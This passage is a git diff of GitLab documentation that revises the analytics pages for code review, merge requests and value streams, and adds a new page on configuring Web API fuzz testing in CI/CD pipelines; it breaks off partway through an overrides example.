This feature is designed for [development team leaders](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/#delaney-development-team-lead)
-and others who want to understand broad code review dynamics, and identify patterns to help explain them.
-
-You can use Code Review Analytics to expose your team's unique challenges with code review, and
-identify improvements that might substantially accelerate your development cycle.
+and others who want to understand broad code review dynamics, and identify patterns to explain them.
-Code Review Analytics can be used when:
+You can use Code Review Analytics to:
+- Expose your team's unique challenges with code review.
+- Identify improvements that might substantially accelerate your development cycle.
- Your team agrees that code review is moving too slow.
- The [Value Stream Analytics feature](value_stream_analytics.md) shows that reviews are your team's most time-consuming step.
+- Analyze the patterns and trends of different types of work that are moving slow.
-You can use Code Review Analytics to see the types of work that are currently moving the slowest, and analyze the patterns
-and trends between them. For example:
+For example:
- Lots of comments or commits? Maybe the code is too complex.
- A particular author is involved? Maybe more training is required.
diff --git a/doc/user/analytics/img/delete_value_stream_v13.4.png b/doc/user/analytics/img/delete_value_stream_v13.4.png
new file mode 100644
index 00000000000..c97fcb76343
--- /dev/null
+++ b/doc/user/analytics/img/delete_value_stream_v13.4.png
Binary files differ
diff --git a/doc/user/analytics/img/merge_request_analytics_v13_3.png b/doc/user/analytics/img/merge_request_analytics_v13_3.png
deleted file mode 100644
index f90f3625a51..00000000000
--- a/doc/user/analytics/img/merge_request_analytics_v13_3.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/analytics/img/mr_throughput_chart_v13_3.png b/doc/user/analytics/img/mr_throughput_chart_v13_3.png
new file mode 100644
index 00000000000..04fa54f323c
--- /dev/null
+++ b/doc/user/analytics/img/mr_throughput_chart_v13_3.png
Binary files differ
diff --git a/doc/user/analytics/img/mr_throughput_table_v13_3.png b/doc/user/analytics/img/mr_throughput_table_v13_3.png
new file mode 100644
index 00000000000..63ffb9389f4
--- /dev/null
+++ b/doc/user/analytics/img/mr_throughput_table_v13_3.png
Binary files differ
diff --git a/doc/user/analytics/index.md b/doc/user/analytics/index.md
index 47852cb0498..044b9eb3e64 100644
--- a/doc/user/analytics/index.md
+++ b/doc/user/analytics/index.md
@@ -6,15 +6,15 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Analytics
-## Analytics workspace
+## Instance-level analytics
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12077) in GitLab 12.2.
-The Analytics workspace will make it possible to aggregate analytics across
+Instance-level analytics make it possible to aggregate analytics across
GitLab, so that users can view information across multiple projects and groups
in one place.
-To access the Analytics workspace, click on **More > Analytics** in the top navigation bar.
+[Learn more about instance-level analytics](../admin_area/analytics/index.md).
## Group-level analytics
@@ -38,7 +38,8 @@ The following analytics features are available at the project level:
- [Code Review](code_review_analytics.md). **(STARTER)**
- [Insights](../group/insights/index.md). **(ULTIMATE)**
- [Issue](../group/issues_analytics/index.md). **(PREMIUM)**
-- [Merge Request](merge_request_analytics.md). **(STARTER)**
+- [Merge Request](merge_request_analytics.md), enabled with the `project_merge_request_analytics`
+ [feature flag](../../development/feature_flags/development.md#enabling-a-feature-flag-locally-in-development). **(STARTER)**
- [Repository](repository_analytics.md).
- [Value Stream](value_stream_analytics.md), enabled with the `cycle_analytics`
[feature flag](../../development/feature_flags/development.md#enabling-a-feature-flag-locally-in-development). **(STARTER)**
diff --git a/doc/user/analytics/merge_request_analytics.md b/doc/user/analytics/merge_request_analytics.md
index 01295ae888b..6a18d46fd1a 100644
--- a/doc/user/analytics/merge_request_analytics.md
+++ b/doc/user/analytics/merge_request_analytics.md
@@ -5,7 +5,6 @@ group: Analytics
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
---
-
# Merge Request Analytics **(STARTER)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/229045) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.3.
@@ -14,16 +13,14 @@ Merge Request Analytics helps you understand the efficiency of your code review
## Overview
-Merge Request Analytics displays information about all accepted merge requests.
+Merge Request Analytics displays information that will help you evaluate the efficiency and productivity of your merge request process.
-The Throughput chart shows the number of completed merge requests, by month. Merge request throughput is
+The Throughput chart shows the number of merge requests merged, by month. Merge request throughput is
a common measure of productivity in software engineering. Although imperfect, the average throughput can
be a meaningful benchmark of your team's overall productivity.
To access Merge Request Analytics, from your project's menu, go to **Analytics > Merge Request**.
-![Merge Request Analytics](img/merge_request_analytics_v13_3.png "Merge Request Analytics - Throughput chart")
-
## Use cases
This feature is designed for [development team leaders](https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/#delaney-development-team-lead)
@@ -37,6 +34,57 @@ Merge Request Analytics could be used when:
- You want to know if you were more productive this month than last month, or 12 months ago.
- You want to drill into low- or high-productivity months to understand the work that took place.
+## Visualizations and data
+
+The following visualizations and data are available, representing all merge requests that were merged in the past 12 months.
+
+### Throughput chart
+
+The throughput chart shows the number of merge requests merged per month.
+
+![Throughput chart](img/mr_throughput_chart_v13_3.png "Merge Request Analytics - Throughput chart showing merge requests merged in the past 12 months")
+
+### Throughput table
+
+Data table displaying a maximum of the 100 most recent merge requests merged for the time period.
+
+![Throughput table](img/mr_throughput_table_v13_3.png "Merge Request Analytics - Throughput table listing the 100 merge requests most recently merged")
+
+## Filter the data
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/229266) in GitLab 13.4
+
+You can filter the data that is presented on the page based on the following parameters:
+
+- Author
+- Assignees
+- Labels
+- Milestones
+
+To filter results:
+
+1. Click on the filter bar.
+1. Select a parameter to filter by.
+1. Select a value from the autocompleted results, or enter search text to refine the results.
+
## Permissions
-- On [Starter or Bronze tier](https://about.gitlab.com/pricing/) and above.
+The **Merge Request Analytics** feature can be accessed only:
+
+- On [Starter](https://about.gitlab.com/pricing/) and above.
+- By users with [Reporter access](../permissions.md) and above.
+
+## Enable and disable related feature flags
+
+Merge Request Analytics is disabled by default but can be enabled using the following
+[feature flag](../../development/feature_flags/development.md#enabling-a-feature-flag-locally-in-development):
+
+- `project_merge_request_analytics`
+
+A GitLab administrator can:
+
+- Enable this feature by running the following command in a Rails console:
+
+ ```ruby
+ Feature.enable(:project_merge_request_analytics)
+ ```
diff --git a/doc/user/analytics/value_stream_analytics.md b/doc/user/analytics/value_stream_analytics.md
index 9114b6de6bc..14012d4a28d 100644
--- a/doc/user/analytics/value_stream_analytics.md
+++ b/doc/user/analytics/value_stream_analytics.md
@@ -45,8 +45,6 @@ There are seven stages that are tracked as part of the Value Stream Analytics ca
- Time spent on code review
- **Staging** (Continuous Deployment)
- Time between merging and deploying to production
-- **Total** (Total)
- - Total lifecycle time. That is, the velocity of the project or team. [Previously known](https://gitlab.com/gitlab-org/gitlab/-/issues/38317) as **Production**.
## Filter the analytics data
@@ -95,7 +93,7 @@ Note: A commit is associated with an issue by [crosslinking](../project/issues/c
## How the stages are measured
Value Stream Analytics records stage time and data based on the project issues with the
-exception of the staging and total stages, where only data deployed to
+exception of the staging stage, where only data deployed to
production are measured.
Specifically, if your CI is not set up and you have not defined a `production`
@@ -112,7 +110,6 @@ Each stage of Value Stream Analytics is further described in the table below.
| Test | Measures the median time to run the entire pipeline for that project. It's related to the time GitLab CI/CD takes to run every job for the commits pushed to that merge request defined in the previous stage. It is basically the start->finish time for all pipelines. |
| Review | Measures the median time taken to review the merge request that has a closing issue pattern, between its creation and until it's merged. |
| Staging | Measures the median time between merging the merge request with a closing issue pattern until the very first deployment to production. It's tracked by the environment set to `production` or matching `production/*` (case-sensitive, `Production` won't work) in your GitLab CI/CD configuration. If there isn't a production environment, this is not tracked. |
-| Total | The sum of all time (medians) taken to run the entire process, from issue creation to deploying the code to production. [Previously known](https://gitlab.com/gitlab-org/gitlab/-/issues/38317) as **Production**. |
How this works, behind the scenes:
@@ -131,7 +128,7 @@ Value Stream Analytics dashboard will not present any data for:
- Merge requests that do not close an issue.
- Issues not labeled with a label present in the Issue Board or for issues not assigned a milestone.
-- Staging and production stages, if the project has no `production` or `production/*`
+- Staging stage, if the project has no `production` or `production/*`
environment.
## Example workflow
@@ -158,9 +155,6 @@ environments is configured.
request at 19:00. (stop of **Review** stage / start of **Staging** stage).
1. Now that the merge request is merged, a deployment to the `production`
environment starts and finishes at 19:30 (stop of **Staging** stage).
-1. The cycle completes and the sum of the median times of the previous stages
- is recorded to the **Total** stage. That is the time between creating an
- issue and deploying its relevant merge request to production.
From the above example you can conclude the time it took each stage to complete
as long as their total time:
@@ -171,10 +165,6 @@ as long as their total time:
- **Test**: 5min
- **Review**: 5h (19:00 - 14:00)
- **Staging**: 30min (19:30 - 19:00)
-- **Total**: Since this stage measures the sum of median time of all
- previous stages, we cannot calculate it if we don't know the status of the
- stages before. In case this is the very first cycle that is run in the project,
- then the **Total** time is 10h 30min (19:30 - 09:00)
A few notes:
@@ -267,7 +257,7 @@ Once a custom stage has been added, you can "drag and drop" stages to rearrange
The pre-defined start and end events can cover many use cases involving both issues and merge requests.
For supporting more complex workflows, use stages based on group labels. These events are based on
-labels being added or removed. In particular, [scoped labels](../project/labels.md#scoped-labels-premium)
+labels being added or removed. In particular, [scoped labels](../project/labels.md#scoped-labels)
are useful for complex workflows.
In this example, we'd like to measure more accurate code review times. The workflow is the following:
@@ -313,6 +303,19 @@ To create a value stream:
![New value stream](img/new_value_stream_v13_3.png "Creating a new value stream")
+### Deleting a value stream
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/221205) in GitLab 13.4.
+
+To delete a custom value stream:
+
+1. Navigate to your group's **Analytics > Value Stream**.
+1. Click the Value stream dropdown and select the value stream you would like to delete.
+1. Click the **Delete (name of value stream)**.
+1. Click the **Delete** button to confirm.
+
+![Delete value stream](img/delete_value_stream_v13.4.png "Deleting a custom value stream")
+
### Disabling custom value streams
Custom value streams are enabled by default. If you have a self-managed instance, an
@@ -324,7 +327,8 @@ Feature.disable(:value_stream_analytics_create_multiple_value_streams)
## Days to completion chart
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21631) in GitLab 12.6.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21631) in GitLab 12.6.
+> - [Chart median line removed](https://gitlab.com/gitlab-org/gitlab/-/issues/235455) in GitLab 13.4.
This chart visually depicts the total number of days it takes for cycles to be completed.
@@ -332,15 +336,6 @@ This chart uses the global page filters for displaying data based on the selecte
group, projects, and timeframe. In addition, specific stages can be selected
from within the chart itself.
-### Chart median line
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/36675) in GitLab 12.7.
-
-The median line on the chart displays data that is offset by the number of days selected.
-For example, if 30 days worth of data has been selected (for example, 2019-12-16 to 2020-01-15) the
-median line will represent the previous 30 days worth of data (2019-11-16 to 2019-12-16)
-as a metric to compare against.
-
### Disabling chart
This chart is enabled by default. If you have a self-managed instance, an
@@ -350,18 +345,9 @@ administrator can open a Rails console and disable it with the following command
Feature.disable(:cycle_analytics_scatterplot_enabled)
```
-### Disabling chart median line
-
-This chart's median line is enabled by default. If you have a self-managed instance, an
-administrator can open a Rails console and disable it with the following command:
-
-```ruby
-Feature.disable(:cycle_analytics_scatterplot_median_enabled)
-```
-
-## Type of work - Tasks by type chart
+## Type of work - Tasks by type chart **(PREMIUM)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32421) in GitLab 12.10.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32421) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.10.
This chart shows a cumulative count of issues and merge requests per day.
@@ -380,7 +366,7 @@ The current permissions on the Project Value Stream Analytics dashboard are:
- Internal projects - any authenticated user can access.
- Private projects - any member Guest and above can access.
-You can [read more about permissions](../../ci/yaml/README.md) in general.
+You can [read more about permissions](../../user/permissions.md) in general.
For Value Stream Analytics functionality introduced in GitLab 12.3 and later:
diff --git a/doc/user/application_security/api_fuzzing/index.md b/doc/user/application_security/api_fuzzing/index.md
new file mode 100644
index 00000000000..ae22655e30b
--- /dev/null
+++ b/doc/user/application_security/api_fuzzing/index.md
@@ -0,0 +1,739 @@
+---
+stage: Secure
+group: Fuzz Testing
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+type: reference, howto
+---
+
+# Web API Fuzz Testing **(ULTIMATE)**
+
+You can add web API fuzzing to your [GitLab CI/CD](../../../ci/README.md)
+pipelines. This helps you discover bugs and potential security issues that other QA processes may miss.
+API fuzzing performs fuzz testing of API operation parameters.
+Fuzz testing sets operation parameters to unexpected values in an effort to cause unexpected behavior and errors in the API backend.
+
+We recommend that you use fuzz testing in addition to [GitLab Secure](../index.md)'s
+other security scanners and your own test processes. If you're using [GitLab CI/CD](../../../ci/README.md),
+you can run fuzz tests as part your CI/CD workflow.
+
+## Requirements
+
+- One of the following web API types:
+ - REST API
+ - SOAP
+ - GraphQL
+ - Form bodies, JSON, or XML
+- An OpenAPI definition, or HTTP Archive (HAR) of requests to test
+
+## When fuzzing scans run
+
+When using the `API-Fuzzing.gitlab-ci.yml` template, the `fuzz` job runs last, as shown here. To
+ensure API fuzzing scans the latest code, your CI pipeline should deploy changes to a test
+environment in one of the jobs preceding the `fuzz` job:
+
+```yaml
+stages:
+ - build
+ - test
+ - deploy
+ - fuzz
+```
+
+Note that if your pipeline is configured to deploy to the same web server on each run, running a
+pipeline while another is still running could cause a race condition in which one pipeline
+overwrites the code from another. The API to scan should be excluded from changes for the duration
+of a fuzzing scan. The only changes to the API should be from the fuzzing scanner. Be aware that
+any changes made to the API (for example, by users, scheduled tasks, database changes, code
+changes, other pipelines, or other scanners) during a scan could cause inaccurate results.
+
+## Configuration
+
+There are two ways to perform scans. See the configuration section for the one you wish to use:
+
+- [OpenAPI v2 specification](#openapi-specification)
+- [HTTP Archive (HAR)](#http-archive-har)
+
+Examples of both configurations can be found here:
+
+- [Example OpenAPI v2 specification project](https://gitlab.com/gitlab-org/security-products/demos/api-fuzzing-example/-/tree/openapi)
+- [Example HTTP Archive (HAR) project](https://gitlab.com/gitlab-org/security-products/demos/api-fuzzing-example/-/tree/har)
+
+### OpenAPI Specification
+
+The [OpenAPI Specification](https://www.openapis.org/) (formerly the Swagger Specification) is an
+API description format for REST APIs. This section shows you how to configure API fuzzing by using
+an OpenAPI specification to provide information about the target API to test. OpenAPI specifications
+are provided as a filesystem resource or URL.
+
+Follow these steps to configure API fuzzing in GitLab with an OpenAPI specification:
+
+1. To use API fuzzing, you must [include](../../../ci/yaml/README.md#includetemplate)
+ the [`API-Fuzzing.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml)
+ that's provided as part of your GitLab installation. To do so, add the following to your
+ `.gitlab-ci.yml` file:
+
+ ```yaml
+ include:
+ - template: API-Fuzzing.gitlab-ci.yml
+ ```
+
+1. Add the configuration file [`gitlab-api-fuzzing-config.yml`](https://gitlab.com/gitlab-org/security-products/analyzers/api-fuzzing/-/blob/master/gitlab-api-fuzzing-config.yml) to your repository's root as `.gitlab-api-fuzzing.yml`.
+
+1. The [configuration file](#configuration-files) has several testing profiles defined with varying
+ amounts of fuzzing. We recommend that you start with the `Quick-10` profile. Testing with this
+ profile completes quickly, allowing for easier configuration validation.
+
+ Provide the profile by adding the `FUZZAPI_PROFILE` variable to your `.gitlab-ci.yml` file,
+ substituting `Quick-10` for the profile you choose:
+
+ ```yaml
+ include:
+ - template: API-Fuzzing.gitlab-ci.yml
+
+ variables:
+ FUZZAPI_PROFILE: Quick-10
+ ```
+
+1. Provide the location of the OpenAPI v2 specification. You can provide the specification as a file
+ or URL. Specify the location by adding the `FUZZAPI_OPENAPI` variable:
+
+ ```yaml
+ include:
+ - template: API-Fuzzing.gitlab-ci.yml
+
+ variables:
+ FUZZAPI_PROFILE: Quick-10
+ FUZZAPI_OPENAPI: test-api-specification.json
+ ```
+
+1. The target API instance's base URL is also required. Provide it by using the `FUZZAPI_TARGET_URL`
+ variable or an `environment_url.txt` file.
+
+ Adding the URL in an `environment_url.txt` file at your project's root is great for testing in
+ dynamic environments. To run API fuzzing against an app dynamically created during a GitLab CI/CD
+ pipeline, have the app persist its domain in an `environment_url.txt` file. API fuzzing
+ automatically parses that file to find its scan target. You can see an
+ [example of this in our Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml).
+
+ Here's an example of using `FUZZAPI_TARGET_URL`:
+
+ ```yaml
+ include:
+ - template: API-Fuzzing.gitlab-ci.yml
+
+ variables:
+ FUZZAPI_PROFILE: Quick-10
+ FUZZAPI_OPENAPI: test-api-specification.json
+ FUZZAPI_TARGET_URL: http://test-deployment/
+ ```
+
+This is a minimal configuration for API Fuzzing. From here you can:
+
+- [Run your first scan](#running-your-first-scan).
+- [Add authentication](#authentication).
+- Learn how to [handle false positives](#handling-false-positives).
+
+DANGER: **Danger:**
+**NEVER** run fuzz testing against a production server. Not only can it perform *any* function that
+the API can, it may also trigger bugs in the API. This includes actions like modifying and deleting
+data. Only run fuzzing against a test server.
+
+### HTTP Archive (HAR)
+
+The [HTTP Archive format (HAR)](http://www.softwareishard.com/blog/har-12-spec/)
+is an archive file format for logging HTTP transactions. When used with GitLab's API fuzzer, HAR
+must contain records of calling the web API to test. The API fuzzer extracts all the requests and
+uses them to perform testing.
+
+You can use various tools to generate HAR files:
+
+- [Fiddler](https://www.telerik.com/fiddler): Web debugging proxy
+- [Insomnia Core](https://insomnia.rest/): API client
+- [Chrome](https://www.google.com/chrome): Browser
+- [Firefox](https://www.mozilla.org/en-US/firefox/): Browser
+
+DANGER: **Warning:**
+HAR files may contain sensitive information such as authentication tokens, API keys, and session
+cookies. We recommend that you review the HAR file contents before adding them to a repository.
+
+Follow these steps to configure API fuzzing to use a HAR file that provides information about the
+target API to test:
+
+1. To use API fuzzing, you must [include](../../../ci/yaml/README.md#includetemplate)
+ the [`API-Fuzzing.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Security/API-Fuzzing.gitlab-ci.yml)
+ that's provided as part of your GitLab installation. To do so, add the following to your
+ `.gitlab-ci.yml` file:
+
+ ```yaml
+ include:
+ - template: API-Fuzzing.gitlab-ci.yml
+ ```
+
+1. Add the configuration file [`gitlab-api-fuzzing-config.yml`](https://gitlab.com/gitlab-org/security-products/analyzers/api-fuzzing/-/blob/master/gitlab-api-fuzzing-config.yml) to your repository's root as `.gitlab-api-fuzzing.yml`.
+
+1. The [configuration file](#configuration-files) has several testing profiles defined with varying
+ amounts of fuzzing. We recommend that you start with the `Quick-10` profile. Testing with this
+ profile completes quickly, allowing for easier configuration validation.
+
+ Provide the profile by adding the `FUZZAPI_PROFILE` variable to your `.gitlab-ci.yml` file,
+ substituting `Quick-10` for the profile you choose:
+
+ ```yaml
+ include:
+ - template: API-Fuzzing.gitlab-ci.yml
+
+ variables:
+ FUZZAPI_PROFILE: Quick-10
+ ```
+
+1. Add the `FUZZAPI_HAR` variable and set it to the HAR file's location:
+
+ ```yaml
+ include:
+ - template: API-Fuzzing.gitlab-ci.yml
+
+ variables:
+ FUZZAPI_PROFILE: Quick-10
+ FUZZAPI_HAR: test-api-recording.har
+ ```
+
+1. The target API instance's base URL is also required. Provide it by using the `FUZZAPI_TARGET_URL`
+ variable or an `environment_url.txt` file.
+
+ Adding the URL in an `environment_url.txt` file at your project's root is great for testing in
+ dynamic environments. To run API fuzzing against an app dynamically created during a GitLab CI/CD
+ pipeline, have the app persist its domain in an `environment_url.txt` file. API fuzzing
+ automatically parses that file to find its scan target. You can see an
+ [example of this in our Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml).
+
+ Here's an example of using `FUZZAPI_TARGET_URL`:
+
+ ```yaml
+ include:
+ - template: API-Fuzzing.gitlab-ci.yml
+
+ variables:
+ FUZZAPI_PROFILE: Quick-10
+ FUZZAPI_HAR: test-api-recording.har
+ FUZZAPI_TARGET_URL: http://test-deployment/
+ ```
+
+This is a minimal configuration for API Fuzzing. From here you can:
+
+- [Run your first scan](#running-your-first-scan).
+- [Add authentication](#authentication).
+- Learn how to [handle false positives](#handling-false-positives).
+
+DANGER: **Danger:**
+**NEVER** run fuzz testing against a production server. Not only can it perform *any* function that
+the API can, it may also trigger bugs in the API. This includes actions like modifying and deleting
+data. Only run fuzzing against a test server.
+
+### Authentication
+
+Authentication is handled by providing the authentication token as a header or cookie. You can
+provide a script that performs an authentication flow or calculates the token.
+
+#### HTTP Basic Authentication
+
+[HTTP basic authentication](https://en.wikipedia.org/wiki/Basic_access_authentication)
+is an authentication method built into the HTTP protocol and used in-conjunction with
+[transport layer security (TLS)](https://en.wikipedia.org/wiki/Transport_Layer_Security).
+To use HTTP basic authentication, two variables are added to your `.gitlab-ci.yml` file:
+
+- `FUZZAPI_HTTP_USERNAME`: The username for authentication.
+- `FUZZAPI_HTTP_PASSWORD`: The password for authentication.
+
+For the password, we recommended that you [create a CI/CD variable](../../../ci/variables/README.md#create-a-custom-variable-in-the-ui)
+(for example, `TEST_API_PASSWORD`) set to the password. You can create CI/CD variables from the
+GitLab projects page at **Settings > CI/CD**, in the **Variables** section.
+
+```yaml
+include:
+ - template: API-Fuzzing.gitlab-ci.yml
+
+variables:
+ FUZZAPI_PROFILE: Quick-10
+ FUZZAPI_HAR: test-api-recording.har
+ FUZZAPI_TARGET_URL: http://test-deployment/
+ FUZZAPI_HTTP_USERNAME: testuser
+ FUZZAPI_HTTP_PASSWORD: $TEST_API_PASSWORD
+
+```
+
+#### Bearer Tokens
+
+Bearer tokens are used by several different authentication mechanisms, including OAuth2 and JSON Web
+Tokens (JWT). Bearer tokens are transmitted using the `Authorization` HTTP header. To use bearer
+tokens with API fuzzing, you need one of the following:
+
+- A token that doesn't expire
+- A way to generate a token that lasts the length of testing
+- A Python script that API fuzzing can call to generate the token
+
+##### Token doesn't expire
+
+If the bearer token doesn't expire, you can provide it using the `FUZZAPI_OVERRIDES_ENV` variable.
+The `FUZZAPI_OVERRIDES_ENV` content is a JSON snippet that provides headers and cookies that should
+be added to outgoing HTTP requests made by API fuzzing.
+
+Create a CI/CD variable, for example `TEST_API_BEARERAUTH`, with the value
+`{"headers":{"Authorization":"Bearer dXNlcm5hbWU6cGFzc3dvcmQ="}}` (substitute your token). You can
+create CI/CD variables from the GitLab projects page at **Settings > CI/CD** in the **Variables**
+section.
+
+Set `FUZZAPI_OVERRIDES_ENV` in your `.gitlab-ci.yml` file:
+
+```yaml
+include:
+ - template: API-Fuzzing.gitlab-ci.yml
+
+variables:
+ FUZZAPI_PROFILE: Quick-10
+ FUZZAPI_OPENAPI: test-api-specification.json
+ FUZZAPI_TARGET_URL: http://test-deployment/
+ FUZZAPI_OVERRIDES_ENV: $TEST_API_BEARERAUTH
+```
+
+To validate that authentication is working, run an API fuzzing test and review the fuzzing logs and
+the test API's application logs.
+
+##### Token generated at test-runtime
+
+If the bearer token must be generated, and the resulting token doesn't expire during testing, you
+can provide to API fuzzing a file containing the token. This file can be generated by a prior stage
+and job, or as part of the API fuzzing job.
+
+API fuzzing expects to receive a JSON file with the following structure:
+
+```json
+{
+ "headers" : {
+ "Authorization" : "Bearer dXNlcm5hbWU6cGFzc3dvcmQ="
+ }
+}
+```
+
+This file can be generated by a prior stage and provided to API fuzzing through the
+`FUZZAPI_OVERRIDES_FILE` variable.
+
+Set `FUZZAPI_OVERRIDES_FILE` in your `.gitlab-ci.yml` file:
+
+```yaml
+include:
+ - template: API-Fuzzing.gitlab-ci.yml
+
+variables:
+ FUZZAPI_PROFILE: Quick
+ FUZZAPI_OPENAPI: test-api-specification.json
+ FUZZAPI_TARGET_URL: http://test-deployment/
+ FUZZAPI_OVERRIDES_FILE: output/api-fuzzing-overrides.json
+```
+
+To validate that authentication is working, run an API fuzzing test and review the fuzzing logs and
+the test API's application logs.
+
+##### Token has short expiration
+
+If the bearer token must be generated and expires prior to the scan's completion, you can provide a
+program or script for the API fuzzer to execute on a provided interval. The provided script runs in
+an Alpine Linux container that has Python 3 and Bash installed. If the Python script requires
+additional packages, it must detect this and install the packages at runtime.
+
+The script must create a JSON file containing the bearer token in a specific format:
+
+```json
+{
+ "headers" : {
+ "Authorization" : "Bearer dXNlcm5hbWU6cGFzc3dvcmQ="
+ }
+}
+```
+
+You must provide three variables, each set for correct operation:
+
+- `FUZZAPI_OVERRIDES_FILE`: File generated by the provided command.
+- `FUZZAPI_OVERRIDES_CMD`: Command to generate JSON file.
+- `FUZZAPI_OVERRIDES_INTERVAL`: Interval in seconds to run command.
+
+```yaml
+include:
+ - template: API-Fuzzing.gitlab-ci.yml
+
+variables:
+ FUZZAPI_PROFILE: Quick-10
+ FUZZAPI_OPENAPI: test-api-specification.json
+ FUZZAPI_TARGET_URL: http://test-deployment/
+ FUZZAPI_OVERRIDES_FILE: output/api-fuzzing-overrides.json
+ FUZZAPI_OVERRIDES_CMD: renew_token.py
+ FUZZAPI_OVERRIDES_INTERVAL: 300
+```
+
+To validate that authentication is working, run an API fuzzing test and review the fuzzing logs and
+the test API's application logs.
+
+### Configuration files
+
+To get started quickly, GitLab provides you with the configuration file
+[`gitlab-api-fuzzing-config.yml`](https://gitlab.com/gitlab-org/security-products/analyzers/api-fuzzing/-/blob/master/gitlab-api-fuzzing-config.yml).
+This file has several testing profiles that perform various amounts of testing. The run time of each
+increases as the numbers go up. To use a configuration file, add it to your repository's root as
+`.gitlab-api-fuzzing.yml`.
+
+| Profile | Scan Type |
+|:---------|:-----------|
+|Quick-10 |Fuzzing 10 times per parameter |
+|Medium-20 |Fuzzing 20 times per parameter |
+|Medium-50 |Fuzzing 50 times per parameter |
+|Long-100 |Fuzzing 100 times per parameter |
+
+### Available variables
+
+| Environment variable | Description |
+|-----------------------------|--------------------|
+| `FUZZAPI_VERSION` |Specify API Fuzzing container version. Defaults to `latest`. |
+| `FUZZAPI_TARGET_URL` |Base URL of API testing target. |
+|[`FUZZAPI_CONFIG`](#configuration-files)|API Fuzzing configuration file. Defaults to `.gitlab-apifuzzer.yml`. |
+|[`FUZZAPI_PROFILE`](#configuration-files)|Configuration profile to use during testing. Defaults to `Quick`. |
+| `FUZZAPI_REPORT` |Scan report filename. Defaults to `gl-api_fuzzing-report.xml`. |
+|[`FUZZAPI_OPENAPI`](#openapi-specification)|OpenAPI specification file or URL. |
+|[`FUZZAPI_HAR`](#http-archive-har)|HTTP Archive (HAR) file. |
+|[`FUZZAPI_OVERRIDES_FILE`](#overrides) |Path to a JSON file containing overrides. |
+|[`FUZZAPI_OVERRIDES_ENV`](#overrides) |JSON string containing headers to override. |
+|[`FUZZAPI_OVERRIDES_CMD`](#overrides) |Overrides command. |
+|[`FUZZAPI_OVERRIDES_INTERVAL`](#overrides) |How often to run overrides command in seconds. Defaults to `0` (once). |
+|[`FUZZAPI_HTTP_USERNAME`](#http-basic-authentication) |Username for HTTP authentication. |
+|[`FUZZAPI_HTTP_PASSWORD`](#http-basic-authentication) |Password for HTTP authentication. |
+
+<!--|[`FUZZAPI_D_TARGET_IMAGE`](#target-container) |API target docker image |
+|[`FUZZAPI_D_TARGET_ENV`](#target-container) |Docker environment options |
+|[`FUZZAPI_D_TARGET_VOLUME`](#target-container)|Docker volume options |
+|[`FUZZAPI_D_TARGET_PORTS`](#target-container) |Docker port options |
+| `FUZZAPI_D_WORKER_IMAGE` |Custom worker docker image |
+| `FUZZAPI_D_WORKER_ENV` |Custom worker docker environment options |
+| `FUZZAPI_D_WORKER_VOLUME` |Custom worker docker volume options |
+| `FUZZAPI_D_WORKER_PORTS` |Custom worker docker port options |
+| `FUZZAPI_D_NETWORK` |Name of docker network, defaults to "testing-net"|
+| `FUZZAPI_D_PRE_SCRIPT` |Pre script runs after docker login and docker network create, but before starting the scanning image container.|
+| `FUZZAPI_D_POST_SCRIPT` |Post script runs after scanning image container is started. This is the place to start your target(s) and kick off scanning when using an advanced configuration.| -->
+
+### Overrides
+
+API Fuzzing provides a method to add or override headers and cookies for all outbound HTTP requests
+made. You can use this to inject semver headers, authentication, and so on. The
+[authentication section](#authentication) includes examples of using overrides for that purpose.
+
+Overrides uses a JSON document to define the headers and cookies:
+
+```json
+{
+ "headers": {
+ "header1": "value",
+ "header2": "value"
+ },
+ "cookies": {
+ "cookie1": "value",
+ "cookie2": "value"
+ }
+}
+```
+
+Example usage for setting a single header:
+
+```json
+{
+ "headers": {
+ "Authorization": "Bearer dXNlcm5hbWU6cGFzc3dvcmQ="
+ }
+}
+```
+
+Example usage for setting both a header and cookie:
+
+```json
+{
+ "headers": {
+ "Authorization": "Bearer dXNlcm5hbWU6cGFzc3dvcmQ="
+ },
+ "cookies": {
+ "flags": "677"
+ }
+}
+```
+
+You can provide this JSON document as a file or environment variable. You may also provide a command
+to generate the JSON document. The command can run at intervals to support values that expire.
+
+#### Using a file
+
+To provide the overrides JSON as a file, the `FUZZAPI_OVERRIDES_FILE` environment variable is set. The path is relative to the job current working directory.
+
+Example `.gitlab-ci.yml`:
+
+```yaml
+include:
+ - template: API-Fuzzing.gitlab-ci.yml
+
+variables:
+ FUZZAPI_PROFILE: Quick
+ FUZZAPI_OPENAPI: test-api-specification.json
+ FUZZAPI_TARGET_URL: http://test-deployment/
+ FUZZAPI_OVERRIDES_FILE: output/api-fuzzing-overrides.json
+```
+
+#### Using an environment variable
+
+To provide the overrides JSON as an environment variable, use the `FUZZAPI_OVERRIDES_ENV` variable.
+This allows you to place the JSON as CI/CD variables that can be masked and protected.
+
+In this example `.gitlab-ci.yml`, the JSON is provided directly:
+
+```yaml
+include:
